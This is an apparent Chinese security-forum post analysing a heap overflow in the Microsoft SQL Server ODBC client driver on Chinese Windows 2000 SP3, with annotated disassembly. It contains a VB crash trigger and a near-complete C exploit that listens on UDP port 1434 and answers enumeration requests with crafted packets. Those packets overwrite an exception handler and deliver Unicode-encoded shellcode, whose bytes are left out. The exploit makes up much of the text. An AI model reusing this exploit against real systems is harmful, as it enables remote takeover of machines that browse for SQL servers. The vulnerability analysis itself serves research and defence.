MS的SQL SERVER ODBC驱动中存在一个溢出漏洞,攻击者可以通过这个漏洞,发送精心组织的数据包就可以达到远程控制任何通过SQL SERVER ODBC列举SQL SERVER服务器的主机。于是看了一下SQL SERVER客户端的两个主要程序的汇编:SQLSVR32。DLL和DBNETLIB。DLL。发现存在一个堆溢出。以下主要是对中文W2K SERVER+SP3的自带的ODBC驱动进行的研究,其他平台未测试。英文版的ODBC连接好象不出这个问题。
SQL SERVER ODBC收到包以后会把所有接收到的包转换成unicode格式存放到堆中,而且每个包之间采用";;"作为分界符号。
我们来看一下其处理的汇编代码:
.text:74CB72A1 loc_74CB72A1:
.text:74CB72A1 mov edx, [ebp+var_4]
.text:74CB72A4 mov eax, [ebp+var_104C] ebp-0x104c放当前已循环的个数
.text:74CB72AA cmp eax, [edx+8] edx+8存放收到的总包个数
.text:74CB72AD jge loc_74CB70F2
.text:74CB72B3 mov ecx, [ebp+var_1044]
.text:74CB72B9 mov edx, [ecx+4]
.text:74CB72BC mov eax, [ebp+var_1048]
.text:74CB72C2 lea ecx, [eax+edx*2]
.text:74CB72C5 mov edx, [ebp+arg_8]
.text:74CB72C8 cmp ecx, [edx]
.text:74CB72CA jle short loc_74CB72D3
.text:74CB72CC xor eax, eax
.text:74CB72CE jmp loc_74CB6EB7
.text:74CB72D3 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:74CB72D3
.text:74CB72D3 loc_74CB72D3: ; CODE XREF: GetNextEnumeration+455j
.text:74CB72D3 mov eax, [ebp+var_1044]
.text:74CB72D9 mov ecx, [eax+4]
.text:74CB72DC push ecx ; cchWideChar
.text:74CB72DD mov edx, [ebp+arg_4] ebp+arg_4是传入的堆开始地址
.text:74CB72E0 add edx, [ebp+var_1048] ebp+var_1048是计算使用了多少的堆,初始值为0
.text:74CB72E6 push edx ; lpWideCharStr
.text:74CB72E7 mov eax, [ebp+var_1044] ebp+var_1044开始是收到包的结构类型数组的指针,这个数组前面4个字节每个包的缓冲地址指针,后面是包的大小,其C的定义如
typedef struct _PACKBUF{
char * bufpoint;
long buflen;}PACKBUF,*PPACKBUF;
PACKBUF sqludprecv[];
ebp+var_1044 就是一个 *PPACKBUF=&sqludprecv;
.text:74CB72ED mov ecx, [eax+4] eax存放为包大小数据
.text:74CB72F0 push ecx ; cchMultiByte
.text:74CB72F1 mov edx, [ebp+var_1044]
.text:74CB72F7 mov eax, [edx] 载入缓冲地址指针
.text:74CB72F9 add eax, 3 从包的便移3开始拷贝,前面三个字节为一个字节包类型,2个字节包长度信息
.text:74CB72FC push eax ; lpMultiByteStr
.text:74CB72FD push 0 ; dwFlags
.text:74CB72FF push 0 ; CodePage
.text:74CB7301 call ds:MultiByteToWideChar
.text:74CB7307 mov ecx, [ebp+var_1044]
.text:74CB730D mov edx, [ecx+4]
.text:74CB7310 mov eax, [ebp+var_1048]
.text:74CB7316 lea ecx, [eax+edx*2] ecx=包大小乘以2(因为变成双字节了)
.text:74CB7319 mov [ebp+var_1048], ecx OK!这个就是结合上面.text:74CB72E0处移动对应堆指针的地方
.text:74CB731F mov edx, [ebp+var_104C]
.text:74CB7325 add edx, 1
.text:74CB7328 mov [ebp+var_104C], edx 循环数字加1
.text:74CB732E mov eax, [ebp+var_1044]
.text:74CB7334 mov ecx, [eax+8]
.text:74CB7337 mov [ebp+var_1044], ecx 移动到下一个数组的位置: ebp+var_1044=ebp+var_1044+8;
.text:74CB733D jmp loc_74CB72A1
.text:74CB733D GetNextEnumeration endp
然后在下面的代码产生堆栈溢出:在sqlsvr32.dll中,主要作用是对包数据进行分析的。
.text:411B06A5 mov edx, [esp+10h]
.text:411B06A9 mov ecx, 0FAh
.text:411B06AE xor eax, eax
.text:411B06B0 lea edi, [esp+10h+arg_1C]
.text:411B06B4 repe stosd
.text:411B06B6 lea ecx, [edx+edx]
.text:411B06B9 mov esi, ebp
.text:411B06BB mov eax, ecx
.text:411B06BD lea edi, [esp+10h+arg_1C]
.text:411B06C1 shr ecx, 2
.text:411B06C4 repe movsd
这段代码把原来的堆中的数据到拷贝到堆栈,但是其划分的依据是一个";"作为分界符号,而这个分配的空间是有限的,在01740(6000)给字节的地方会覆盖返回地址。如果你发送几个包,只要在堆中位置连续且不存在";"和0x00,0x00,且大于6000(因为UNICODE处理以后会加倍)则会导致溢出。可以用如下VB代码验证溢出的产生
Dim str As String
Dim str1
Dim i
Winsock1.GetData str
str1 = "" & Chr(5) & Chr(&HFF) & Chr(&H9) ‘最动只能0x1000大小的包
str1 = str1 & str(4092,"2")
For i = 1 To 200
Winsock1.SendData str1
Next
然后你在另一台局域网的某台机器上的管理工具中打开ODBC管理程序,选择一个SQL SERVER的系统DSN,然后在列出下拉SQL SERVER服务器的时候就会引发这个溢出,由于这个传来的代码没有含有特殊的字串,因此程序只会异常退出,其实跟踪一下程序会发现不仅仅引发了异常,而且足够多的数据还可以覆盖异常结构中的异常处理地址,导致最后程序的执行点跳转到0x32003200上(因为传过去溢出字串是'2',asc代码是0x32,而经过MultiByteToWideChar处理以后,被覆盖掉的异常处理程序地址就成了0x32003200了),如果能精心构造传过去的字符内容,就可以达到远程控制主机的目的。
利用这个溢出需要考虑如下问题:
1。地址覆盖,因为是要被unicode处理,覆盖的地址要满足转化条件
2。SHELLCODE需要是满足unicode的
3。由于要覆盖和得到UNICODE SHELL需要有大量数据发送,但包接收只接受0x1000的字节,所以需要多包发送,但是由于前面贴出的且堆处理格式,只以包乘2算位置,如果前面的包转换成unicode不是完全满足,包的中间要存在多个0x00,如果存在0x00,0x00这无法被连续拷贝。所以前面的包一定要是ASC的包,这也限制的要覆盖地址的类型的选择。
4。要防备其他 sql server服务器也发包,如果在中间会导致截断。
问题一通过跟踪发现,其堆栈位置大致是在0x6a000左右,因此可以设置地址0x00070007为覆盖的地址,我在多种情况下测试基本是可行的。问题二是利用isno的编码unicode的方法,在程序开始的时候再解码成正式代码。我用的就是isno写的一个unicode shellcode,跟踪发现程序运行很好,可以有效饶过unicode,不过shellcode中的饶过异常处理还是存在问题,我溢出产生,正确跳转和解码以后,执行到后面还是被异常捕获了。这个shellcode可能还是需要改进。问题三是前面全部发送asc的代码,只在最后一个包发送可解码的shellcode。问题四则是前面发正常包,并适当延时来解决。
下面由于shellcode是isno写的,这里就不列出了:另外望高手指点几个问题:
1。由于前面说的原因的限制,覆盖地址只能选择硬编码,有没有更好的方案,特别是覆盖地址是必须满足传过去的代码经过MultiByteToWideChar处理以后扩展成2倍,否则会导致堆中出现0x00而截断后面的shellcode。
2。现在的shellcode还是不能很好的捕获异常,关于这方面我的了解有限,有没有更多关于异常在程序运行时的结构的资料。
#include <winsock2.h>
#include <windows.h>
void main()
{
unsigned char buffer[4096];
unsigned char bufhead[3]={5,0xfc,0xf};
unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\\\11111111\\pipe\\sql\\query;;"; //用于伪装正常包,进行延时,最后在发送溢出包,使不被其他的包导致再堆中的中断。
unsigned char buf2 [4092];
unsigned char buf3 [4092];
unsigned char sendbuf [0x1000];
unsigned char temp;
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
HANDLE listener;
int e;
int i;
int sendlen;
DWORD a1;
const int SNDBUF = 0;
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;
struct sockaddr_in udpfrom;
int udpfromlen = sizeof(udpfrom);
int n ;
unsigned char shellend[4] = {0x4e,0x4e,0,0}; //用于标记shellcode结束的
unsigned char shellcode1[]= //略去,是isno写的
unsigned char shellcodehead[70]= //略去,是isno写的,用于解码shellcode用
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf(\"WSAStartup error.Error:%d\\n\",WSAGetLastError());
return FALSE;
}
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf(\"Socket failed.Error:%d\\n\",WSAGetLastError());
return FALSE;
}
sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL); //把解码的代码转化,这样在对方的MultiByteToWideChar处理下,正好获得我们想要的解码代码
sendlen--;
memcpy(sendbuf+sendlen,shellcode1,sizeof(shellcode1));
sendlen = sendlen+sizeof(shellcode1); //加上一段被编码的unicode。
sendlen--;
i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
sendlen = sendlen +i-1;
//以上构造了一个完整的可自我解码的shellcode
memset(buf3,0x4,4092);
//由于分多包发送,前面的必须只能是128以下的字符,其考虑加零情况的汇编
这个缓冲是等同于NOP操作的,被unicode编码以后的汇编是:add ax,0
memset(buf2,7,4092);
//设置溢出地址覆盖的缓冲
buf2[3000]=8;
//覆盖地址成为 0x070008,由于是asc码,被MultiByteToWideChar处理以后长度正好是6000,覆盖返回地址
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(\"192.168.0.60\");
n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
//监听1434 UDP端口
if(n!=0)
{
e= WSAGetLastError();
return -1;
}
//有人在使用
n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);
*((WORD *)(bufhead+1))=sizeof(buf1)-1;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断
for(i=0;i<4;i++)
{
n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
Sleep(100);
}
//以上发送4个正常的包,并进行延时,保证其他的SQL SERVER已经回复完,自己下面发的包不被其他的包截断
*((WORD *)(bufhead+1))=4092;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf2,4092);//发送地址覆盖的包
n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
*((WORD *)(bufhead+1))=4092;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf3,4092);//发送空指令包,保证其最终可以跳转到有效地址上来。
for(i=0;i<2;i++)
n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
//写入SHELLCODE
*((WORD *)(bufhead+1))=sendlen;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,sendbuf,sendlen);
n = sendto(sock, buffer, sendlen+3, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
WSACleanup();
return 0;
}